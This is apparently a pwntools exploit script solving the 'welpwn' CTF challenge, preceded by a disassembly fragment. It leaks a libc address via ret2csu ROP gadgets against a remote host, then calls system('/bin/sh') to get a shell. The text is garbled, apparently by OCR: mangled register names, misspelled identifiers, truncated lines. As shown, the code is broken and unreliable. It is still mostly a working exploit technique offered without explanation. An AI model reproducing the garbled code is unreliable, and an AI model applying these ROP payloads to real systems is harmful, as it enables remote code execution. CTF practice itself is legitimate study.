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; CODE XREF:
mov rdx, ril3
mov rsi, rl4a
mov edi, rls5d

call gword ptr [rl2+rbx*8]
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from pwn import *

#io=process("./welpwn")
io=remote("111.198.29.45","53830")
elf=ELF("./welpwn")

libc=ELF("./1ibc_2.23.s0")

#got_write = elf.got['write']

got_read = elf.got['read']

main_addr = 0x4007cd

pop_rdi_ret = 0x4008a3# pop rdi ret

pop4_rl2_ret = 0x40089c# pop rl2 rl13 rl14 ri5
pop6_rbx_ret = 0x40089a# pop rbx rbp ri2 ri3 ri4 ri5
sl = 0x4008c9

call r12_rbx_8 = 0x400889%#call [r12+rbx*8]
mov_rdx_rsi_edi_call = 0x400880

#mov rdx, rl3 mov rsi, rl4 mov di, rl5d call qword ptr [rl12+rbx*8]

if __name__ =="_main__":
io.recvuntil("Welcome to RCTF\n")
got_write = elf.got['write']
payload=0x18*"a" + p64(pop4_ri2_ret)
payload+=p64(pop6_rbx_ret)+ p64(0x0) + p64(0x1l) + p64(got_write)
payload+=p64(8) + p64(got_write) + p64(1l) + p64(mov_rdx_rsi_edi_call)
payload+="'a'*56
payload+=p64(main_addr)
io.sendline(payload)
write_addr=u64(io.recv(8))
print hex(write_addr)
libc_base_addr=write_addr-libc.sym['write']
print hex(libc_base_addr)
system_addr=1ibc_base_addr+libc.sym[ 'system']
bbs_addr = 0x601260
payload2 = "A"*0x18 + p64(pop4_ril2_ret)
payload2 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1l) + p64(got_read) + p64(0x1l) + p64(bbs_addr) + p64(0
payload2 += 56*"\x00"
payload2 += p64(main_addr)
io.sendline(payload2)
io.sendline("/bin/sh\@"+ p64(system_addr))
payload3 = "A"*0x18 + p64(popd_ril2_ret)
payload3 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1l) + p64(bbs_addr+8) + p64(0) + p64(0) + p64(bbs_addr
payload3 += 56*"\x00"
payload3 += p64(main_addr)
io.sendline(payload3)

io.interactive()
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